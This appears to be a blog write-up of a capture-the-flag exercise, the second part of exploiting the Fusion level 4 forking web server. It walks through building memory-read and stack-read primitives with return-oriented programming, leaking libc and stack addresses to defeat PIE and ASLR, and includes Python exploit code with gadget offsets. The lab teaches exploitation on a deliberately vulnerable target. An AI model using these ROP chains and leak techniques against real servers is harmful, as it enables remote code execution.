Hey guys and girls,
Here is a short recap of what we have and where we are standing, Fusion 4 – web server that works by forking a new child for each connection. We found a buffer overflow, we bypassed Source Fortification (Canary), we Found the load address of the binary and this way bypassed Position Independent executable (PIE).
For anyone who hasn’t read Fusion 4 – part 1 This is the time to go and read it 🙂
- Understand what are primitives.
- Find the main binary.
- Find Libc.
- Return into system with whatever commands you want to run on the target machine.
I think it now is the time to talk about primitives. What are primitive in this exploitation world you might ask yourself. Well, a primitive, as suggested by it’s name is our ability to do something very simple and primitive. A real world exploit might be very complicated, but to understand how it works and to develop it, we will think and work with much simpler “tools” each of those tools will be called a primitive.
For example, Let’s say we found a way to read the content of a given address. We would call it an absolute memory read primitive. Or let’s say we know how to write whatever we want into a given address, that is an absolute memory write primitive. From now on we will try to talk and think in that new language. Because this is how the big boys talk.
New Game plan:
- Find an absolute memory read primitive.
- Read an address on the stack (Find the location of the stack)
- Read the location of libc by reading the .got.plt.
- Use the location libc, and the stack buffer to return into the function system in libc.
Absolute memory read primitive
As we have seen before, one of the most useful tools for breaking ASLR and exploiting vulnerabilities is having the Absolute memory read primitive. This primitive, in simple language it is the ability to read the content of any memory address we would like.
In earlier stages we got it by roping into printf with %s as format string, and a pointer to libc we know we have in a constant offset in the main binary as the parameter to printf. We don’t need to reinvent the wheel and we will do it again in this stage. The only thing I have to say about it is that in this binary we had the address of __fprintf_chk and not of printf. (Remember we have the address of the binary and not of libc, so we can only call functions in the main binary).
Here is the new code for this part.
def memory_read(password, canary, ebx, main_exe, address, length): rop = [ main_exe + 0xfc0, # address of _printf_chk main_exe + 0xeb0, # address of exit, 1, # printing to stdout main_exe + 0x2e66,# "Server: %s\r\n" address,# address to read ] payload = ebx + "a" * 12 + ropchain_to_payload(rop) memory = send_overflowed_request(password, canary, payload) # Triming the output. memory = memory[len("Server: "): -1 * len("\r\n")] memory = memory[:length] return memory def get_libc_address(password, canary, ebx, main_exe): # reading the address of open in the .got.plt of the main exe address_of_open = memory_read(password, canary, ebx, main_exe, main_exe + 0x41a4, 4) libc_address = buffer_to_address(address_of_open) - 0xc0b60 return libc_address def main(): password = brute_force_password() print "password is ", password canary = brute_force_canary(password) print "canary is ", canary.encode("hex") # ebx, esi, edi, ebp, eip ebx = brute_force_ebx(password, canary) print "ebx is ", ebx.encode("hex") main_exe = buffer_to_address(ebx) - 0x4118 raw_input("press any key to continue") libc = get_libc_address(password, canary, ebx, main_exe)
I run and test it, and it works.. Now we have the memory read primitive and the address of libc. We can cross items number 1 and 3 from our game plan.
Stack read primitive
Like I said, we want to be able to know the address of the stack pointer (which is changed by ASLR for each time the process restarts). To do that we will build a stack read primitive. Our stack read primitive will work just like the memory read primitive, the only difference is that we will not supply the printf format with a format string, this way whatever is on the stack after our overflow will be used as a pointer to a format string, with a little bit of luck* the stack will contain a pointer to a pointer to a stack address.
* Well, no luck is needed because saved ebp points to previous saved ebp until the first function call of the program. So we should be able to find one of these saved ebps.
After testing what I said in the previous 2 paragraphs, I figured out that in our case, After writing on the stack the overflow we need for memory read, we don’t have any saved ebp on the stack, It sucks, but we will have to find a different way to get our esp.
Stack read primitive – take 2
We already know how to read a given address in our memory. What if we could write the stack pointer into a given address and than read from it?
If you recall, In Fusion 3 I found out that we have the following gadget in libc:
1: Push $esp Jmp $esi 2: Pop $ecx Pop $edx Ret 3: Xchg [$edx], $ecx Ret
Together I can write the stack pointer into whatever memory address I want. And later read from there with the memory read primitive we have. All I have to do is to find an address I can write into, and chain the memory read with the memory write of esp.
I did it and got an address which is 0x813 bytes from the end of my password in the buffer I control. Now I will pass a bash line on this buffer, call system and win.
def get_stack_address(password, canary, ebx, main_exe, libc_address): # Unused in the .bss section esp_storage = main_exe + 0x467f rop = [ # Writing esp to esp_storage libc_address + 0x0015ffc9, # push esp; jmp esi # pop ecx; pop edx; ret - in esi esp_storage, libc_address + 0x001633a0, # xchg [edx], ecx; ret main_exe + 0xfc0, # address of _printf_chk main_exe + 0xeb0, # address of exit, 1, # printing to stdout main_exe + 0x2e66,# "Server: %s\r\n" esp_storage, ] # second gadget new_esi = address_to_buffer(libc_address + 0x0002da2b) payload = ebx + new_esi + "1234" + "\x00"*4 + ropchain_to_payload(rop) memory = send_overflowed_request(password, canary, payload) # Triming the output. memory = memory[len("Server: "): -1 * len("\r\n")] # sizeof address length = 4 memory = memory[:length] # 0x813 is the distance between the address I get and the end of the # password in the details buffer in validate_password. return buffer_to_address(memory) - 0x813
The exploit is trivial, after we have the address of libc, and our buffer. We will overflow, return into the function system with our buffer as a parameter. The buffer will contain whatever we would like to run in system. If you really want to see it in code, look at any of the previous articles in this series 🙂